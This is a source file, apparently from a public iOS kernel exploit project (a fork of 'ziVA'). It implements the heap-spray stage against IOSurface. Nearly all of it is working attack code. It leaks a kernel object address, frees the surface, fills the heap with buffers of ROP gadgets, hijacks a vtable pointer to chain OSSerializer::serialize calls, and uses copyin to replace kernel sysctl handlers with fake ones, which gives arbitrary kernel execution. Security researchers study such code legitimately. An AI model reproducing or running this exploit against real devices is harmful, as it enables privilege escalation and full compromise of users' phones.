forked from doadam/ziVA
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathheap_spray.m
367 lines (279 loc) · 10.6 KB
/
heap_spray.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
#include "heap_spray.h"
#include "iosurface_utils.h"
#include "apple_ave_pwn.h"
#include "log.h"
#include "utils.h"
#include "offsets.h"
static io_connect_t g_surface_conn = 0;
static uint32_t g_spraying_surface = 0;
static uint32_t g_surface_id_to_leak_address = 0;
static void * g_surface_kernel_address = NULL;
static void * g_fake_sysctl_handlers = NULL;
static void * g_new_sprayed_object = NULL;
struct sysctl_oid {
void *oid_parent;
void * oid_link;
int oid_number;
int oid_kind;
void *oid_arg1;
int oid_arg2;
const char *oid_name;
int (*oid_handler);
const char *oid_fmt;
const char *oid_descr; /* offsetof() field / long description */
int oid_version;
int oid_refcnt;
};
/*
* Function name: heap_spray_prepare_buffer_for_rop
* Description: Prepares our buffer for a ROP chain.
* Returns: void.
*/
void heap_spray_prepare_buffer_for_rop(void * function, uint64_t arg0,
uint64_t arg1, uint64_t arg2) {
*(uint64_t*)(g_new_sprayed_object + SPRAY_SYSCTL_HELPER_EXECUTION + 0x18) = arg2;
*(uint64_t*)(g_new_sprayed_object + SPRAY_SYSCTL_HELPER_EXECUTION_ROP + 0x10) = arg0;
*(uint64_t*)(g_new_sprayed_object + SPRAY_SYSCTL_HELPER_EXECUTION_ROP + 0x18) = arg1;
*(void**)(g_new_sprayed_object + SPRAY_SYSCTL_HELPER_EXECUTION_ROP + 0x20) = function;
}
/*
* Function name: heap_spray_initialize_fake_sysctl_buffer
* Description: Initializes a fake sysctl handler for the overwrite.
* Returns: kern_return_t (but in reality KERN_SUCCESS on success and something else on failure).
*/
kern_return_t heap_spray_initialize_fake_sysctl_buffer() {
kern_return_t ret = KERN_SUCCESS;
struct sysctl_oid * sysctl = NULL;
/* Overwriting both l1dcachesize and l1icachesize */
sysctl = (struct sysctl_oid *)malloc(SYSCTL_HANDLER_SIZE * 2);
if (NULL == sysctl)
{
ERROR_LOG("Error allocating 0x%x bytes for fake sysctls", SYSCTL_HANDLER_SIZE * 2);
ret = KERN_MEMORY_ERROR;
goto cleanup;
}
g_fake_sysctl_handlers = sysctl;
sysctl->oid_parent = offsets_get_kernel_base() + OFFSET(sysctl_hw_family);
sysctl->oid_link = offsets_get_kernel_base() + OFFSET(l1dcachesize_handler) + SYSCTL_HANDLER_SIZE;
sysctl->oid_name = offsets_get_kernel_base() + OFFSET(l1dcachesize_string);
/* Will call OSSerializer::serialize */
sysctl->oid_handler = offsets_get_kernel_base() + OFFSET(osserializer_serialize);
/* First parameter to OSSerializer::serialize */
*(void**)((char*)sysctl + 0x10) = g_surface_kernel_address + SPRAY_SYSCTL_HELPER;
/* Second parameter to OSSerializer::serialize */
*(unsigned long*)((char*)sysctl + 0x18) = IOSURFACE_KERNEL_OBJECT_SIZE;
/* This will call again to OSSerializer::serialize */
*(void**)((char*)sysctl + 0x20) = offsets_get_kernel_base() + OFFSET(osserializer_serialize);
sysctl->oid_fmt = offsets_get_kernel_base() + OFFSET(quad_format_string);
sysctl->oid_descr = offsets_get_kernel_base() + OFFSET(null_terminator);
sysctl = (struct sysctl_oid*)((char*)sysctl + SYSCTL_HANDLER_SIZE);
sysctl->oid_parent = offsets_get_kernel_base() + OFFSET(sysctl_hw_family);
sysctl->oid_link = offsets_get_kernel_base() + OFFSET(l1dcachesize_handler) + (2 * SYSCTL_HANDLER_SIZE);
sysctl->oid_name = offsets_get_kernel_base() + OFFSET(l1icachesize_string);
/* Will call OSSerializer::serialize */
sysctl->oid_handler = offsets_get_kernel_base() + OFFSET(osserializer_serialize);
/* First parameter to OSSerializer::serialize */
*(void**)((char*)sysctl + 0x10) = g_surface_kernel_address + SPRAY_SYSCTL_HELPER_EXECUTION;
/* Second parameter to OSSerializer::serialize */
*(unsigned long*)((char*)sysctl + 0x18) = IOSURFACE_KERNEL_OBJECT_SIZE;
/* This will call again to OSSerializer::serialize */
*(void**)((char*)sysctl + 0x20) = offsets_get_kernel_base() + OFFSET(osserializer_serialize);
sysctl->oid_fmt = offsets_get_kernel_base() + OFFSET(quad_format_string);
sysctl->oid_descr = offsets_get_kernel_base() + OFFSET(null_terminator);
cleanup:
return ret;
}
/*
* Function name: heap_spray_cleanup
* Description: Cleans up the heap spraying. Freeing up resources.
* Returns: void.
*/
void heap_spray_cleanup() {
if (g_surface_conn)
{
if (g_surface_id_to_leak_address)
{
iosurface_utils_release_surface(g_surface_conn, g_surface_id_to_leak_address);
g_surface_id_to_leak_address = 0;
}
if (g_spraying_surface)
{
iosurface_utils_release_surface(g_surface_conn, g_spraying_surface);
g_spraying_surface = 0;
}
IOServiceClose(g_surface_conn);
g_surface_conn = 0;
}
if (g_fake_sysctl_handlers)
{
free(g_fake_sysctl_handlers);
g_fake_sysctl_handlers = NULL;
}
if (g_new_sprayed_object)
{
free(g_new_sprayed_object);
g_new_sprayed_object = NULL;
}
}
/*
* Function name: heap_spray_init
* Description: Initializes the heap spray.
* Returns: kern_return_t.
*/
kern_return_t heap_spray_init() {
kern_return_t ret = KERN_SUCCESS;
g_new_sprayed_object = malloc(IOSURFACE_KERNEL_OBJECT_SIZE);
if (NULL == g_new_sprayed_object)
{
ERROR_LOG("Error mallocing g_new_sprayed_object");
ret = KERN_MEMORY_ERROR;
goto cleanup;
}
ret = iosurface_utils_get_connection(&g_surface_conn);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error creating an IOSurface connection");
goto cleanup;
}
ret = iosurface_utils_create_surface(g_surface_conn, &g_spraying_surface, NULL);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error creating a spraying IOSurface object");
goto cleanup;
}
ret = iosurface_utils_create_surface(g_surface_conn, &g_surface_id_to_leak_address, NULL);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error creating surface for leak");
goto cleanup;
}
DEBUG_LOG("g_surface_id_to_leak_address %d", g_surface_id_to_leak_address);
ret = apple_ave_pwn_get_surface_kernel_address(g_surface_id_to_leak_address, &g_surface_kernel_address);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error leaking address for surface %d", g_surface_id_to_leak_address);
goto cleanup;
}
DEBUG_LOG("kernel address of surface %d is %p", g_surface_id_to_leak_address, g_surface_kernel_address);
cleanup:
if (KERN_SUCCESS != ret)
{
heap_spray_cleanup();
}
return ret;
}
/*
* Function name: heap_spray_get_spraying_buffer
* Description: Creates a buffer for spraying.
object_address is the alleged address that the allocation will take place in.
* Returns: char *.
*/
static
char * heap_spray_get_spraying_buffer(void * object_address) {
uint32_t i = 0;
kern_return_t ret = KERN_SUCCESS;
char * data = malloc(IOSURFACE_KERNEL_OBJECT_SIZE);
if (NULL == data)
{
return data;
}
DEBUG_LOG("ret_gadget: %p", offsets_get_kernel_base() + OFFSET(ret_gadget));
for(i = 0; i < IOSURFACE_KERNEL_OBJECT_SIZE; i += sizeof(uint64_t)) {
*(void**)(data+i) = offsets_get_kernel_base() + OFFSET(ret_gadget);
}
*(void**)(data) = object_address;
*(uint32_t*)(data + 0x8) = 0x100; /* We don't want to be freed. never. */
/* Just for the fun, doesn't really happen in normal flow */
*(void**)(data + 0x260) = offsets_get_kernel_base() + OFFSET(panic);
*(void**)(data + OFFSET(iosurface_vtable_offset_kernel_hijack)) =
offsets_get_kernel_base() + OFFSET(osserializer_serialize);
//*(void**)(data + 0x98) = offsets_get_kernel_base() + OFFSET(osserializer_serialize);
//*(void**)(data + 0xA0) = offsets_get_kernel_base() + OFFSET(osserializer_serialize);
/* OSSerializer::serialize(data + 0x234, SYSCTL_HANDLER_SIZE * 2) */
*(void**)(data + 0x10) = object_address + 0x234;
*(unsigned long*)(data + 0x18) = SYSCTL_HANDLER_SIZE * 2; /* third parameter for ROP chain */
*(void**)(data + 0x20) = offsets_get_kernel_base() + OFFSET(osserializer_serialize);
/* copyin(g_fake_sysctl_handlers, l1dcachesize_handler, SYSCTL_HANDLER_SIZE * 2) */
*(void**)(data + 0x234 + 0x10) = g_fake_sysctl_handlers; /* first paramter for ROP chain */
*(void**)(data + 0x234 + 0x18) = offsets_get_kernel_base() + OFFSET(l1dcachesize_handler); /* second parameter for ROP chain */
*(void**)(data + 0x234 + 0x20) = offsets_get_kernel_base() + OFFSET(copyin);
/* copyin(g_fake_sysctl_handlers, l1dcachesize_handler, SYSCTL_HANDLER_SIZE * 2) */
/* So we can always modify this object */
*(void**)(data + SPRAY_SYSCTL_HELPER + 0x10) = g_new_sprayed_object;
*(void**)(data + SPRAY_SYSCTL_HELPER + 0x18) = object_address;
*(void**)(data + SPRAY_SYSCTL_HELPER + 0x20) = offsets_get_kernel_base() + OFFSET(copyin);
/* SPRAY_SYSCTL_HELPER_EXECUTION */
*(void**)(data + SPRAY_SYSCTL_HELPER_EXECUTION + 0x10) = object_address + SPRAY_SYSCTL_HELPER_EXECUTION_ROP;
/* arg2 */
*(void**)(data + SPRAY_SYSCTL_HELPER_EXECUTION + 0x18) = (void*)0x1;
*(void**)(data + SPRAY_SYSCTL_HELPER_EXECUTION + 0x20) = offsets_get_kernel_base() + OFFSET(osserializer_serialize);
//memset(data, 0x41414141, IOSURFACE_KERNEL_OBJECT_SIZE);
memcpy(g_new_sprayed_object, data, IOSURFACE_KERNEL_OBJECT_SIZE);
/*
for(i = 0; i < IOSURFACE_KERNEL_OBJECT_SIZE; i += sizeof(uint64_t)) {
DEBUG_LOG("local_spray[0x%x] = %p", i, *(void**)(g_new_sprayed_object + i));
}
*/
return data;
}
/*
* Function name: heap_spray_start_spraying
* Description: Starts the actual spraying.
* Returns: kern_return_t and the kernel address with our allocated data as an output parameter.
*/
kern_return_t heap_spray_start_spraying(void ** kernel_allocated_data) {
kern_return_t ret = KERN_SUCCESS;
char * data_to_spray = NULL;
char * data_to_spray_base64 = NULL;
uint32_t i = 0;
char key[] = {'A', 0};
char * key_ptr = key;
ret = heap_spray_initialize_fake_sysctl_buffer();
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error initializing the fake sysctl buffer");
goto cleanup;
}
data_to_spray = heap_spray_get_spraying_buffer(g_surface_kernel_address);
if (NULL == data_to_spray)
{
ERROR_LOG("Error allocating data for spraying");
goto cleanup;
}
data_to_spray_base64 = utils_get_base64_payload(data_to_spray, IOSURFACE_KERNEL_OBJECT_SIZE);
if (NULL == data_to_spray_base64)
{
ERROR_LOG("Error converting data to base64");
goto cleanup;
}
ret = iosurface_utils_release_surface(g_surface_conn, g_surface_id_to_leak_address);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error freeing surface %d", g_surface_id_to_leak_address);
goto cleanup;
}
g_surface_id_to_leak_address = 0;
for(i = 0; i < NUMBER_OF_OBJECTS_TO_SPRAY; ++i) {
key[0] = key[0] + 1;
ret = iosurface_utils_set_value(g_surface_conn, g_spraying_surface, key_ptr,
data_to_spray_base64);
if (KERN_SUCCESS != ret)
{
ERROR_LOG("Error setting value (i = %d)", i);
goto cleanup;
}
}
*kernel_allocated_data = g_surface_kernel_address;
cleanup:
if (data_to_spray_base64)
{
free(data_to_spray_base64);
data_to_spray_base64 = NULL;
}
if (data_to_spray)
{
free(data_to_spray);
data_to_spray = NULL;
}
return ret;
}